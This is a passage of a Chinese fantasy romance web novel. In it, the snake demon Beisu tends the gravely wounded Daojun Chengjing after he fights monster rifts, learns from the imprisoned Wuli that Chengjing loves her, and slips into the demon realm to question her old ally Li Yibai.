北溯随口一说:“你告诉我被我忘记的事,我就帮你。” “好。” 他答应的很快,但调整了条件:“这一切结束,我会将那些全都告诉你。” 北溯抬起头看他,莲台一直浮在他肩侧,看不到他整张脸,侧脸线条凌厉,加上不笑,确实很有威严。 她想了想,说了好。 水雾散开,凉亭内人一见他出现,立刻道:“宗内已经先派弟子去支援了,但这次规模实在太大,我们人手不够,无法用结界保住城池。” 成镜点了头,直接往外走,星峦连忙跟上。 走了几步,成镜脚步一顿,对星峦说:“出事的都是哪几座城池?” “苍山,云州,鹤山这三处,其中苍山情况最严重。” 成镜让星峦先回去,他待会会直接去苍山。 星峦诧异:“您不用与宗主商议商议吗?” 成镜摇头,直接回了重莲殿。他的身影消失得太快,星峦又进不去,话已经带到,他的职责履行完毕,只得先回去。 “这事搞得,异种什么时候能死绝。” 北溯躺在莲台上,摊开肚皮,说:“你要对舞宝叮嘱几句?” 成镜嗯了一声,走到舞宝寝殿门口,唤她出来。 北溯瞅着小姑娘跑出来,脆生生喊了爹爹,问怎么啦。 “我有要紧的事要出去一趟,你在重莲殿里待着,不要出去。”成镜给了她一块玉牌,告诉她:“这上头有一道禁制,若是有危险,捏碎便可。” “好哦。”鳞舞接过令牌,犹豫了下,小声问:“那爹爹什么时候回来?” 成镜没有说具体时间,抬手揉了揉她脑袋,说:“若是想与我说话,可以用传音令。”他又补了句:“别担心。” 鳞舞眨了眨眼,说了声好,攥着他的手,在手心里写了个字。 北溯瞧见了,是“安”。 “我等爹爹回来!” 成镜收了手,对藕宝说:“照顾好她。” 藕宝使劲点头,“我办事,道君您就放心吧!” 成镜转身,北溯扭头看小姑娘眼巴巴望着,尾巴焦躁地甩了几下,问成镜:“怎么不把舞宝带着一起去,她的功课不是完成了吗?” “她还小。” 北溯觉得这话毛病挺大的,收回视线,“几岁了?” “刚满十岁。” 北溯想了想,自己十岁早就跟在妖兽屁股后头上场学着怎么杀人族修士了,有爹娘的孩子就是好,有人疼。 成镜直接离开道宗,去了苍山城,这是座依山而建的城池,屋舍层层往上,错落有致。 不过这座城池之上全都是异种裂缝,粗略看过去,最少也有十几条,其中一条几乎横贯整座城,侵入城中的异种一半来源于此。 里头好几处可见火灾,浓烟四起,那几处结界远远看去,渺小得起不了多大的作用。 成镜直接动手凝法诀,按照北溯曾经做过的那样,引来雷雨。 乌云遮挡曜日,光线渐暗,风起,起初只是衣摆飞扬,越来越猛,刮得人眼睛都睁不开,云层迅速移动,很快落下了第一滴雨。 北溯往下瞧,雨打万物,底下颜色很快变深,天空似是破了个洞,将水倒下来,叫底下的生灵浑身湿透。 支援的修士仰头望着这场 突如其来的雨,不知道发生了什么。 边上的异种扑过来,他们赶紧动手防御。 “里面还有妇孺被困,快去救她们!” 异种一脚踩塌房梁,一声哀嚎传出来,异种耸动鼻翼,嗅着人味。 北溯倒是看得清楚,这些个异种盯着人咬,人族修士里有几个不怕死的直接肉.身相搏,为其余人救人争取时机。 绿瞳闪过讥笑,这群人倒是对自己同族有几分感情,还知道救同族,捕杀妖兽时,可不见他们心软。 不过…… 绿瞳转向边上嘴角已经出血的男人,北溯不明白他为何要顶着天罚引来雷雨。 如果是要救人族,那这代价未免太大,真有人无私到这个地步? 成镜咳了一声,咽下血,心一惊,转头去看她,黑蛇还在莲台上,没有受伤,松了口气。 却见她用怜悯的眼神看自己,他忽然涌出烦躁之意,他知道她是什么意思,当初她也这么做过,或许当时她是为实验这个方法是否可行,但不可置否的是她确实救了人族。 比起他,她的所作所为更应该被质疑。 成镜正烦躁着,乍一听到她的话,这点烦躁直接被平息。 “你流血了,”北溯尾巴抬起,指了指他嘴角的位置,说:“痛的话,我的毒液可以麻痹神经,你不主动解毒就行。” 成镜没有说话,移开眼,盯着底下的场景微微出神。 她是在担心他? “无事。”成镜抹了嘴角的血,莫名想到她之前渡自己毒液的方式,有些愣神。 北溯是不想他重伤连回去都做不到,他正要重伤不省人事,她就跑路了。 “裂缝好像合上了点,你这招可以啊。” 成镜回神,抬眼一看,裂缝确实合上了些,他抿唇缓了会,才说:“从别人那学来的。” 说完他朝身侧的黑蛇投去隐晦的一眼,黑蛇不在看他,盯着裂缝,渐渐生出战意。 有大雨稀释,只要不在异种面前晃悠,便可躲开异种追捕,裂缝缓缓合上,狰狞的身体退回裂缝中。 成镜忽然在身上用了敛息术,靠近裂缝。 北溯立刻挺直了身子,脱口而出:“你想死吗?” 成镜没有回来,心中念着她说的这四个字,更加接近裂缝。 这十年除了前几年要照顾鳞舞,没法抽开身,后面大多数时间都在查异种来源,有几次他就特地靠近裂缝,想看清里头是什么东西。 但每一次所见到的,都是黑暗,无止境的深渊,看不到底。 这一次他去了那条最大的裂缝,即使裂缝在闭合,张开的高度仍比成年男人高得多,他若是一不小心,就会被吞了。 莲台在原地,没有被他带着一起去,北溯无法催动莲台,又破不开结界,只能看着他靠近裂缝。 “仗着自己实力强就敢冒险,胆子真不是一般大。” 北溯睁大眼也去看里面,黑黢黢的,除了里头分散的异种,看不到别的东西,里头的黑给人一种裂缝很浅却又深得摸不到底的矛盾感。 她之前看过,总觉得里面很深,连接着另一处地方。这种东西无法解释,完全不像是能在这个世界存在的,也没人知道它是怎么出现的。 突然就有一天,魔界发现了这条裂缝,抓了个人去试试,那人被吞进去,裂缝消失。 起初因为这只是个插曲,后来魔界又出现裂缝,里头爬出来个怪物。虽然不攻击魔族,但魔界不会允许有这样的怪物存在,将其赶出魔界,短暂地消失了一段时间,再出现时,爬出来的已经不止一只怪物。 后来他们才发现,这怪物专门吃人,不会伤妖兽和魔。当时人、妖、魔三族对立,谁也不服谁,魔族利用怪物偷袭人族,人族在怪物身上找到妖气,将矛头对准妖族,三族矛盾越发激烈。 北溯见过被这东西咬的人,和直接被妖兽的妖气侵染不同,会直接被同化成异种怪物,不可逆转。 他要是被同化成异种了,她可不救他。 成镜回来了,没被伤到。 北溯遗憾地收回目光,咬了口花瓣,他看过来。 “你看到什么了?” 成镜摇头,和之前看到的一样,没有区别。没人敢冒然进去,也许这些异种是最低级的存在,;里头藏着更强大的生物。 北溯又问:“你要下去看看吗?” 裂缝几乎合上,底下没能回去的异种嗅不到人味,渐渐往外撤,停留太久的异种身上妖气溃散,倒在地上,化为腐尸。 这玩意能杀死。 北溯才发现,但杀死它的方式,需要一个实力强大的人受着天罚,引来大雨。 “你说的那个人,怎么知道这个方法的?” 成镜望着这个不记得几百年事的女子,不知道自己该如何回答她。他曾在他们神魂交融时,卑劣地看她的过往,她要是知道了,该是会很生气。 又想到她引来的那场雨,那时她浑身的伤,全都是血,比起她,自己已经好很多。 抬手将莲台捧在手心,只看了一眼,身形一转,继续前往下一座城池。 北溯从未见过这样的人,连受三次天罚,最后跪在地上,捂住嘴,血从指缝溢出来。 她眨了眨眼,说:“你要是死,提前把结界解开。” 男人忽然挺直身子,双眼凶狠地盯着她:“休想。” 北溯真想用尾巴拍他脑袋,都在想些什么,都要死了不解开结界,等他死了结界散开,她还怎么救他? “你还想不想活了?” 成镜咳了一声,身子倒下,指尖碰到莲台,没有解开结界。 洁白的莲台上黑蛇安安稳稳,他的指尖上全都是血,男人侧头看过来,血滴落,想起了她一直在守护妖界。 他其实也算不上人族,只是修炼成人形,生来就就有的神性注定让他不会袖手旁观。 成镜很想问她,当初受的天罚,为保护妖界受的伤,不疼吗? 他艰难地触碰莲台,吐出一句:“我死不了。” 话音刚落,指尖滑下。 北溯歪头,看到他闭上了眼。 她使劲往他的方向挤着结界,唤了一声他的名字,等了一会,没有回答。 “唔……” 死了吗? 第62章 北溯以为这人要死了,没想到他只躺了会,一睁开眼,便是看她。 “没死?” 成镜撑起身子,清理身上的血,片刻功夫,已经看不出身上受了伤,若不是他脸色苍白,看上去像个没事人。 他一言不发,捧起莲台,带着北溯下去,碰上道宗弟子,他们正在收拾残局。没几个是好的,身上数道血痕,不知是被异种伤的,还是在哪伤到的。 弟子们一见是他,立刻行礼。 “伤亡如何?”成镜的声音听不出异样,北溯瞅了他好几眼,心道这人挺会装,三道天罚下来,他都不说一声疼。 “回道君,鹤山情况还算好,死伤近三百,我宗弟子死了二十七人,其余的几十名弟子基本上都受了伤,此外……”那弟子回头瞧泥泞的地面,雨后的空气弥漫着湿意,叫人眼睛起雾。 “来支援的十位执事,三位被拖进了裂缝中,两位被同化,剩下的五位,身受重伤。” “另外,落选的修士归途中,也遇到异种袭击,几近一半被夺走了性命。” 湿地上七零八落地坐着许多普通人,他们不会法术,也不知道要如何应对异种,只能靠他们来救。 成镜粗略扫过去,道:“告知城中百姓,可取气味重的东西带在身上,若是再遇异种,你们可以找些东西将自身气息掩盖。” 他转身要走,弟子们齐齐喊他:“道君,您要走了吗?” 北溯看到他袖中的手在抖,这群修士把他当成了唯一的救命稻草,指望他留在这里保护他们,他一走,他们就得慌。 “你不如告诉他们怎么召雷雨,一道天罚虽会劈死一个人,但能护更多人,这不是你们人族一直都秉持的理念吗?” “死一个,救天下人。” 成镜心口好似被荆棘条拉过,刺得鲜血淋漓。 他没有看身侧的黑蛇,丢下一句:“你们只需按照我说的做,可以躲开异种。”直接离开。 他的身体状况如何,只有他自己知道,一道天罚的威力比雷劫强数倍,他能撑得了三道,还能站在这和他们说话,已然是奇迹。 北溯再一次认识到这位人族强者的实力,再一算自己目前的实力,想绑了他威胁人族,成功的概率不大。越发好奇自己是怎么杀死那些仙尊的,那群人只一个,可比十个入神境还要强。 眼前场景转变,成镜刚出现在城外山脚,吐出一 口血,倒地不醒。草叶勾住发丝,红色发带被黑发掩盖,只能瞧见一角。 意识沉下前,他碰了结界,张开口,好似说了一个字。 结界撤开,莲台回到成镜体内,密林包围的山脚下,黑蛇几乎被草丛覆盖,看不到她的身影。 黑蛇直起身,探出草丛看这个昏迷的人的,绿瞳倒映出他苍白的脸,纤长的睫羽垂下,投下一层阴影,呼吸微弱,唇无血色。 他看起来离死不远了。 北溯看了一会,慢吞吞地缩回草丛中,草丛微晃,有什么漆黑的东西爬行而过,渐渐没了踪迹。 在她离开后不久,成镜睁开了眼,眼前只有沾血的草,没有她的身影。 那一刻喉咙好似被人掐住,呼吸被剥离,无尽的窒息感压迫着他,呼不上气。 也许他不该打开结界放了她,只将她囚禁,不论她究竟会不会在乎他,只要她在他身边,一切都无所谓。 成镜费力地眨了眼,动了动手,去搜寻她的踪迹,捕捉到她所在位置,撑着地面想站起来,内脏撕裂一般的痛,失去所有力气,砸倒在地。 眼前是渐暗的天空,树叶掩盖,只能透过一小片缝隙看到那片天。他像是被困在这里,哪都去不了,唯一能依赖的人,早就走了。 像之前那般,次次无情地丢下他。 成镜喘了口气,忍着身体里的撕扯般的痛,再次尝试站起来,结果与之前无异。双臂发颤,无法使力。 他躺在凹凸不平的地面,朝着她离开的方向望,渐渐闭上了眼。 树叶摇晃,他的呼吸声被吞没,这是一处人迹罕至的密林,若没有人发现他,他死了,都没人知道。 不知过去多久,夕阳斜照,这片缝隙里的天空飘来彩云,七彩的光投下来,映照得草叶都变了颜色。 草丛晃动了一下,窸窸窣窣的声音渐响,窜动的草丛离成镜越来越近,漆黑的脑袋钻出来,鳞片上透着五彩斑斓的黑。 黑蛇睁着绿瞳仔细瞅地上紧闭双眼的人,尾巴尖戳了戳他脸颊,有点凉。 又往他口鼻那探,感觉到还有口气在,尾巴拍打他的脸,叫他:“成镜,醒醒,再不醒你就要死了。” 她本来想走的,半道上觉得还是得回来,他要是死了,小姑娘没了爹,不知道会不会哭。 喊了几声,人没反应,北溯想了想,只能挤到他脖颈那,使劲咬了一口。 原形不太方便,这要是人身,或是能正常使用妖力,她可以变大体型,尾巴缠着他走。 男人被痛醒了,痛苦的呻吟先从口中溢出来,眼睛还没能睁开。 北溯松口,继续拍他的脸:“成镜,清醒点,你要死了,我把舞宝带去妖界,再把人界打下,统一两界。然后把你的尸体烧成灰,再扬——” 声音戛然而止,一只手捏住了她的尾巴,一抬头就对上他睁开的眼,满是狠意。 “你敢……” 说出的话却没什么威慑力,软绵绵的,虚弱极了。 北溯抽出尾巴,往他衣服上擦了擦,凑近去观察他的眼睛,随口说了句:“你要是死了,我就敢。” 成镜忽然笑了一下。 他方才好像做了个梦,梦里自己被海浪淹没,海水呛进肺里,一咳,海水就从口中灌进来,呛得喉咙火辣辣地疼。 他以为自己要被淹死,海绵忽然出现了一条船,船上的女子朝自己伸出手,让他上去。 成镜看得很清楚,那是北溯的脸。 再一睁眼,便看到熟悉的绿瞳,看到她的瞬间,身上的痛好似消失,她的到来宛如止痛药,将所有的痛苦驱赶走。 只要被她碰到,便不会觉得痛。 “怎么回来了?”他伸手去碰她摇晃的尾巴。 北溯还在看他眼瞳有没有涣散,尾巴上长了双眼睛似的,精准打到他手背。 “都快要死了,还有力气动手动脚。” 检查到他只是重伤,还没到死的地步,北溯松了口气,见他眉头皱得像座小山,说话也有气无力的,这伤不及时处理,不死也废。 “身上有没有丹药?” 成镜说没有,他直勾勾望着她,她问什么,他就答什么,异常地温顺。 北溯觉得他大概是被天罚伤到了脑子,都成这样了,还不挣扎挣扎,真要等死? 男人忽然闷哼一声,捂着胸口呛出血,血丝挂在唇边,看着虚弱极了。 “这里离最近的人族聚集地很远,我拉不动你。”北溯爬上他脖颈,用身体感知他脖颈处血管跳动的速度,听到他说了一句没事。 没好气地拍了一下他脑袋,冷声道:“没事你就站起来给我瞧瞧。” 她只是呛他一句,没想到他真要这么干。 男人艰难撑着地面,还没起来,又倒回去,还吐了口血。 北溯看不下去了,尾巴缠着他脖颈,威胁他:“你要是死,先把我要知道的告诉我,再死。” 尾巴只是缠上去,没有勒紧,鳞片凉凉的,腹部却是温温的,一冷一温交替,让成镜有种被她抚摸的错觉。 他仰面躺好,瞧着暗下来的天空,半晌才说了一句:“你想知道什么?” 北溯诧异,以为他不会说,思索一瞬,没有问邪气来源,换了个问题。 “我听人族说,舞宝是你十年前带回道宗的。” 成镜屏住了呼吸,身子一动不动,没有说话,这不像是她在问自己,而是喃喃自语。 “我死了十年了吧?” 成镜的心剧烈跳动起来。 若非此刻身体痛到连呼吸都是酷刑,他早就将这条蛇抓住,不让她继续说下去。 越想掩盖,越容易被看穿。 黑蛇下巴搭在成镜唇上,眼睛眨了眨,她都死得透透的了,凤鸣还能把她救回来,凤凰的血脉那么强? 若是这般,世间也不会只有那一只凤凰。 下巴蹭了蹭他的唇,蛇信扫过唇上的血,偏头一口吐出去。 “我问你。”她直起身,盯着他的眼,观察他的反应。 成镜不知道自己该怎么面对她的提问,她是妖界最聪明的那个,一点蛛丝马迹都能看出来,他根本瞒不住她。 心脏怦怦跳,注意力全在她身上,连身上的痛都被忽略。 “你接近我,收我为徒,种种异常表现,皆是因为——”北溯几乎不用将接下来的话说出来,成镜此刻的反应已经告诉了她答案。 男人蓦地闭上了眼,眼角湿润,唇嚅动着,脖颈血管跳得很快。 蛇身微微放松,她趴了回去,歪头看他,继续说:“所以你设的三界互不干涉协议,多多少少也和我有点关系?” 她不知道百年后的自己经历了什么,但大致能通过小鸟说的信息里猜到,自己后来和妖界决裂了。从前的她只想把人族赶出去,妖界能太平,所有妖兽不用提心吊胆,安安稳稳的。 至少不要像她那样,双亲死在人族之手。 就算自己与妖界决裂,这份心大抵是不会变的,她若是想撂挑子不干,又怎么会和昆仑仙尊同归于尽,有什么比命还重要吗? 也许百年后的自己因为某件事,与成镜有了交集,说不定还做了些什么,否则她是不会在被人族接近时,没有抵触心。 “我要怎么才能恢复记忆?”这才是她真正的问题。 成镜张开了唇,只说 了一句话:“我会帮你。” 北溯戳了一下他的脸,话里带着嘲讽:“就你现在这样,怎么帮我?” 男人滚了滚喉头,血管跳动,感受着她带来的那么一丝温热,发出声音:“我死不了。” 北溯暂时相信了他的话,从他脖颈上下来,感受了一下自己身体情况,或许是他莲台上的灵气起了作用,再过几个时辰,便可恢复原形。 “你就没点别的东西能疗伤?你的莲台呢?” 成镜小幅度摇了头。 “你这人……”北溯没办法,这人要是死了,她去哪恢复记忆,在周围找了有用的药草,本来想给他直接嚼了,一拿回去,人连张口咬的力气都没有,她只好自己咬了,挤出汁水渡入他口中。 汁水溢出来,她用尾巴堵住,再给他灌回去,不能浪费了。 天很快暗下来,北溯瞧着满天星,忽然想到个问题:“你没有丹药,也有联系道宗的东西吧?叫他们来救你。” 回答她的,依旧是成镜沉默地摇头。 北溯觉得自己被他耍了,堂堂道君,道宗最关注的人物,怎么可能没有联系道宗的东西? 她在他身上找了一圈,还真就没见到一块令牌。 “行吧。” 北溯自己找了个舒服的地方待着,等身体恢复,就把人带回去。 期间成镜几次失去意识,又忽然惊醒,一睁眼就去看她歇息的位置,感知到她还在,才安心。 患得患失,说的大概就是他现在这样的状态。 夜深,皓月当空,静谧的月光洒下,周围寂静。 黑蛇动了一下,女子的身影取代黑蛇,她轻轻地走到男人身侧,仔细瞧他此刻的模样。 本就苍白的脸色在月光的照耀下,白得像张纸。极度虚弱,与高台之上受修士敬仰的他截然不同。 北溯看了会,忽然不想把他送回道宗,反正都是要帮她恢复记忆的,去哪不都是恢复,干嘛要去她不喜欢的人界呢。 这个念头刚起,北溯便想到了个要去的地方,不过他现在这副模样也跑不了那么远,还是送回去吧。 北溯扶起他,回了重莲殿。成镜该是伤得太重,都没有醒来。 将人放到床上,再见他这副要死不死的样,去了莲池里挖了藕,磨成粉给他灌下去,他不是说这玩意能疗伤么,多喝点,疗伤。 出去的时候藕宝正缩在墙角,眼巴巴望着。 北溯朝他勾勾手指,他立刻跑过来,听她吩咐。 “舞宝歇下了吗?” 藕宝立刻回答:“舞宝今天很乖,早早休息了!她知道道君有事要处理,没有闹。” 北溯嗯了一声,给他说成镜的情况:“三道天罚,我喂了他藕粉,你看看有没有什么东西能给他疗伤吧。” 藕宝说完这几句话就往外走,忍不住问了一句:“您要去哪?” 北溯没有回答,直接离开。 藕宝眼瞅着她没影了,担心成镜安危,又怕成镜醒来找不着北溯人,想跟上去,左看看右看看,只能挑最要紧的事处理。 它去莲池里摘了莲子,将莲子化为灵气注入成镜身体里,消耗了几十颗,成镜的伤才好了那么一点点,它只能再次去莲池里采莲子,次次都要弄上百颗。 好不容易有了起色,藕宝累得瘫倒在地,擦了擦额头的水珠,刚休息了会,打算再去摘莲子时,床上的人醒了。 藕宝立刻站起来,急忙问:“道君,您好些了吗?” 成镜一眼见到熟悉的环境,身体的痛还在,但灵力恢复了很多,知道是藕宝帮了自己,说了声谢谢。 藕宝挠挠头,忽然想到有件事没说,刚要告诉成镜,他已经问了:“她呢?” 藕宝老实说:“主母将您送回来后,就离开了重莲殿。” 成镜只停了会,立刻起身下床。 藕宝搞跟着他走出去,担忧道:“道君,您的伤还没好,不宜再动。” 成镜脚步一顿,藕宝以为他打算回去休息,结果他只是施法感知北溯的方位。 “鳞舞睡下了吗?” 藕宝依着之前回答北溯那样回答成镜。 “我很快就回来。” 男人迈出寝殿,步入夜色中。 藕宝只看到他差点趔趄了一下,便不见了人影。它在想,今天是发生了什么,怎么道君和主母都这么急匆匆的要走? 成镜通过在北溯体内下的追踪禁制,感知到她去了黑水,他关雾漓的地方。 发现她在黑水时,第一反应是她想起来了,旋即便否定了这个念头。她若是想起来,只会直接来找他,又怎么会去黑水。 答案只有一个,她不信他。 雾漓被他关在黑水,无人知晓,北溯去黑水,极有可能是因为她从别处知道,那里曾经封印过她。 他紧咬牙关,忍着身体的痛,加快速度赶向黑水。 北溯确实是这么想的,她想回封印过自己的地方看看,或许能找到些线索,全都指望成镜一个人,他若是反水,她奈何不了他。 谁知道竟然还有意外之喜。 北溯没想到,再见到雾漓,已经时隔五百年,眼前的他,已经分不清原本的模样,与记忆中的他,完全找不到半分相似。 “你又来做什么?” 发出的声音太难听,北溯蹙眉看他,等他抬起头,发现进来的是个陌生女子时,刚要开口,雾漓已经先嘲讽了。 “怎么,成镜现在忙到要派个人族来拷问我?” 从他口中听到成镜二字,北溯有种错觉,总感觉下一个被这么囚禁的,就是自己。 雾漓竟然落到了成镜手中。 她不废话,直接开问:“他让我来问你,北溯死了这么多年,你可还记得她。” 锁链晃动,雾漓反应很大地往她那冲了一步,锁链拉着他的骨头,叫他再难前进一步。 “我怎么不记得,就算我死了,都忘不了她。就是她!害我至此!” 北溯听到这句话没什么表情,继续问:“你还记得多少?” 这话一出,雾漓破口大骂,连着成镜一起骂,北溯听得不耐,正要换个问题,他忽然安静下来,幽幽盯着她,忽然笑了。 “你是人族吧,成镜派你来问我,不怕他的秘密泄露吗?” “哦?”北溯挑眉,问他:“什么秘密?” 雾漓笑出来,像是终于能报复仇人,笑得嘚瑟:“成镜,道君,人界强者。”他每说一句,就点一下头,越来越激动。 “这样的人,居然喜欢上了邪神,还是个妖兽,他丢脸不” 北溯转了下脑袋,努力消化他这句话。 “你说,成镜喜欢邪神?” 雾漓使劲点头,小声笑着,身子前倾,极力靠近北溯。 “对,他可喜欢北溯了,要不然怎么会把我关在这里十年,日日折磨我?”他转头去看自己的身体,干枯到和腐烂的木头没区别。 “他可真不是人呀,居然喜欢妖兽,喜欢人族的敌人!” 这家伙她不是不知道,心眼小,发生几次冲突后,便不怎么与他来往,现在么,一点没变。 不过他应该不会说无凭无据的话,加上成镜看到她的反应,极有可能是真的。 她打断雾漓,继续问:“成镜为何将你关在此处?” 雾漓停止了所有动作,愤恨与讥笑退去,一脸茫然地望着她 ,干瘪的脸皮附着在骨头上,看着格外狰狞。 他呢喃着:“为什么关我?” “因为他恨我杀了北溯——”他忽然笑起来:“我杀了北溯,我杀了北溯——” 他像个疯子,又哭又笑,一直说自己杀了北溯。 北溯知道这是他的执念,他想杀她已经很久了,但从她了解的信息里,自己的死似乎与雾漓无关。 一刻钟后,北溯走出了洞窟。 她还在想雾漓的话,被关在洞窟里,他的精神似乎失常了。不得不感慨自己,被封印了三百年,没疯,还能杀昆仑仙尊。 洞窟出口就在眼前,北溯一脚迈出,下一秒一道身影闪过来,迅速箍住她的手腕。 男人气息不稳,只紧紧攥着她的手,质问她:“为何要来此处?” 他看起来很生气,气她不告而别,气她背着他来这里。 北溯歪了头,瞧着男人额头冒出的虚汗,不由得想,这人都伤成这样,还有力气来抓她。 “为何不能来?”她朝里头望了眼,看他:“因为里面被你关了雾漓?” “他和你说什么了?”成镜身子晃了一下,依旧坚持着站稳,他苍白的容颜倒映到北溯眼中,短短几日,她几乎将他各种情绪看了个遍。 北溯忽然想知道,雾漓说的话是不是真的。 她挑了句和正事无关的告诉他:“雾漓说你喜欢我。” 成镜张开了唇,眼前是女子含笑的眉眼,从没有哪一刻像现在这般,想将这双眼盖住,不让她看到自己此刻狼狈的模样。 他知道自己现在在她眼里,一定是可笑的。 这样的心思,竟然被她从不相干之人口中,知道了。 他松开了手,垂着眼睫,没有说话,他听着自己突然猛烈的心跳声,无措地站着,不知道该如何回她这句话。 她若是想起一切,发现他在她那样对自己后,还生出了这种心思,会怎么看他? 会笑他道心不稳,竟然喜欢了折磨他的人。 他微微摇了头,后退一步,自欺欺人地说没有。可到底有没有,只有他心里清楚。 成镜颤着身子,只觉得身上的痛更盛。本就重伤,还为了赶来黑水动用灵力,更加撑不住,密密麻麻的痛袭卷而来,搅得他无比难受。 身子摇晃,站都站不稳,往前一栽。 温软的怀抱接住了他,北溯搂着他的腰,察觉到他在忍痛,直接覆上他的唇,给他渡毒液,没有灌进去,他在抗拒。 北溯不耐地掐了他的腰,告诉他:“吞下去,不会痛。” 男人这才张开口,咽下她渡过来的液体,喉头滑动,将她喂进来的毒液吞下,疼痛似乎真的减弱,在被麻痹神经前,捕捉到唇上的柔软,下意识吮了一下。 北溯只顾着给他喂毒液,没注意到他在吮吸自己的唇,只继续喂毒液。 待探进去的舌尖被咬了一下,她才反应过来,退开些距离,看到月光下他湿润的唇,还有一丝晶莹,大脑空白了会,才想到要去问他在干什么。 话还没出口,被人摁着背,眼前的男人俯下身,只来得及看到他暗潮涌动的黑瞳,唇被吻住。 柔软的舌探进来,带着毒液清甜的味道,在她猝不及防时撬开牙关,掠夺她的呼吸。 第63章 他没有章法地吻着,明明受了重伤,还有力气咬破她的唇。清甜被血腥味取代,血珠被吸走。 他微微退开些,喘了气,意识到自己做了什么后,身子一僵,突然不敢看她,却没有什么力气偏头,只垂下眼帘,正对上被自己吻过的红唇,又是一怔。 意识好似清醒,又被麻痹,脑中混沌,直愣愣盯着她的唇看,莫名的烧灼感蔓延,烧到脸上。 被痛折磨出的汗珠滑落,沾湿发丝。 他的眼睫不停颤动,像是见到不可置信之物,张着唇,一句话也说不出来。 从没想到过,自己会这么对她。 “我……”他好像被她污染了,竟然会学着她做的事,这和妖邪有什么区别! 眼前的女子却笑着问他:“你什么?” 成镜说不出话来,他只觉得自己不该那么做,这不是他能做出来的事。只是因为她不告知他,就来黑水,被她气到,才会这么做。 这个念头一出,成镜又愣住了。 他又为何气她来黑水?他们本没有什么关系,她想来便来了…… 意识到自己与女子除了那一层微不足道的师徒关系,几乎没有任何可以约束对方的关系,他们连道侣都不是,他哪来的立场生气? 成镜迷茫地望着她,这一刻,身体的痛被麻痹,思绪也跟着被麻痹。他想不明白,自己为何要生气。 他忽然给自己找到了个很好的理由,她是鳞舞的阿娘,他是鳞舞的爹爹,她就算不顾及他,也要考虑到鳞舞。 脑中乱成一团,毒液正在发挥效用,他的反应越来越迟钝,身子越来越麻。方才爆发出来的那么一点力气,很快消散了。 他只来得及说出一句话,眼前一黑,再次倒下。 “为什么?”北溯刚问,人就闭上了眼,倒向她。北溯接住了他,男人栽在她怀里,紧闭着眼,终于不再折腾。 她缓缓蹲下来,跪坐在地,将他脑袋枕在自己腿上,指腹摩挲他的唇,回想他说的话,笑了一下。 “你不可再见雾漓。” 北溯没想到自己大半夜出来还能被重伤的人抓了个正着,还被强吻,没吃到什么味道,人就晕了。 “伤还没好就跑出来,你是真不想活了。”她捏着他的衣袖把他唇边的血擦干净,两指捏了他的脸,没好气道:“我受伤有凤凰的眼泪疗伤,你又没有——” 声音戛然而止,北溯松了掐他脸的手,低叹一句:“凤凰已经死了,现在不是五百年前。” 这声音消散在黑夜中,多多少少带了几分寂寥。 北溯回头望了眼洞窟,眸色深深。这回她确实要回妖界,问问黎衣白某些事情。 她查了成镜的身体,伤确实重,但好了一些,应该是在自愈,死不了就行。 本来想将成镜送回重莲殿,带着一个人去妖界,不太方便。 但一见此人虚弱的模样,再一想方才从洞窟里走出来,他一副被抛弃还怨恨她的模样,还是把人带着吧。 省得他醒来又找过来…… 北溯思绪一顿,低头去看昏迷的人,在他身上又找了一圈,没见任何器物。 他是怎么知道她来这的? 北溯蹙眉,拿出他给的令牌,没在上头找到追踪术法,这就奇怪了。难道是之前那次他用来威胁她不要往外说时,在她身上下的禁制? 她又捏了一下成镜的脸,又气又想笑:“小心思真多。” 抱起人,直接去了妖界。进去前给成镜换了张脸,自己顺便也换一张,恰好遇到上次那个被自己打晕的妖兽,再次打晕,继续冒充。 北溯叫来了那只小鸟,小鸟打着哈欠埋怨地看她:“大晚上的不睡觉,叫我干嘛?” 她瞅了眼天,现在确实很晚,但有些事必须要在今晚弄清楚。 “你先帮我看着这个人,我有些事要处理。”带着成镜不好去见黎衣白。她忽然后悔,应该把成镜送回去的,带到妖界里不说他有多危险,他若是突然醒来,暴露她的身份,她自己该是没法解释。 哪有人死了十年突然活了的。 小鸟瞅着昏迷的男人,忽然尖叫:“你抢了个人族男人来当你压寨丈夫?” 北溯朝小鸟露出“和善”的笑:“你若是想,我也可以抢你。” 小鸟连连后退,边摇头边说:“不必了不必了,我不用,您去抢人族就好。”小鸟落到成镜身侧,拍拍胸腹,打包票说:“有我在,你就放心吧!” 北溯把成镜放在树边,给他施加了敛息术,顺带弄了结界,暂时不会被发现。 她带成镜来妖界还有个目的, 梧桐树旁一般都会生长凤凰花,这花有疗伤奇效,拿来给成镜治伤挺好。 “看好他,他若是有醒来的迹象,直接打晕他。” 小鸟连连点头,等她一走,低头瞅着成镜的脸看,看了半天,冒出一句:“这脸挺好看啊。” 北溯捏的脸都是按照她的审美来,差不到哪里去。 她用慕青的身份进了妖族大本营,或许最近几年太平了,审查没那么严,只粗略对了身份检测了妖气,便放她进去。 北溯瞧了这群审查的妖兽一眼,这若是之前与人族矛盾频发的那几年,他们早被偷袭了。 也不怪他们松懈,没有人族入侵,没有危险,处处祥和安宁,时间一久,谁还会想得起来要戒备。 她摸进了黎衣白寝宫,里头没人,想了想,去了那棵只剩下干枯树干的梧桐树那,没找到凤凰花,也没见那棵新生的梧桐树,不由得诧异。 “她竟然没有移栽回来吗?” 北溯快速赶到山头,在那棵没多高的梧桐树幼苗旁看到一人,她站在梧桐树前,一动不动。 他们四人中,黎衣白武力值应算得上是第二强,比起武力,她更喜谋略,也是他们四人中,头脑最清醒的。 北溯喜欢冲在最前面,因为她足够强,以武力征服。黎衣白往往是断后的那个,有她在后方估测人族动向,再带着凤鸣处理残局,三人配合,往往都能将人族入侵的计谋撕毁。 至于雾漓,他有时会与她一起上前阵,有时会与黎衣白他们断后。 没想到百年过后,还能正常行走于世间的,只剩下她与黎衣白。 “妖界有异样?”黎衣白没有转身,只问了这么一句。 北溯变幻了声线,道:“并未发现异样,只是发现异种裂缝攻击人族多处城池,他们应该会来妖界问责。” 周遭安静了会,黎衣白才开口:“异种做的事,与妖界有何关系?他们该去找异种,而不是来妖界。” 北溯慢慢靠近她,继续说:“人族可不会只将矛头对准异种,这是他们没法解决的存在,而妖界不同。没有妖兽,人族不会被咬,便就不会因体内残留的妖气转化为异种。” “除尽妖族,人族才心安。” 黎衣白忽然转身,直直盯着面前离她只有不到两米距离的人,冷声问:“你是谁?” 话音刚落,妖气冲撞,周遭空气凝滞,山头树枝朝一个方向倾倒,迅速恢复正常。 交手只在一瞬间。 黎衣白后退一步,警惕万分。 北溯面不改色,朝黎衣白笑了一下,随后隐去笑容,声音听不出情绪:“我来,是为问你一个问题。” 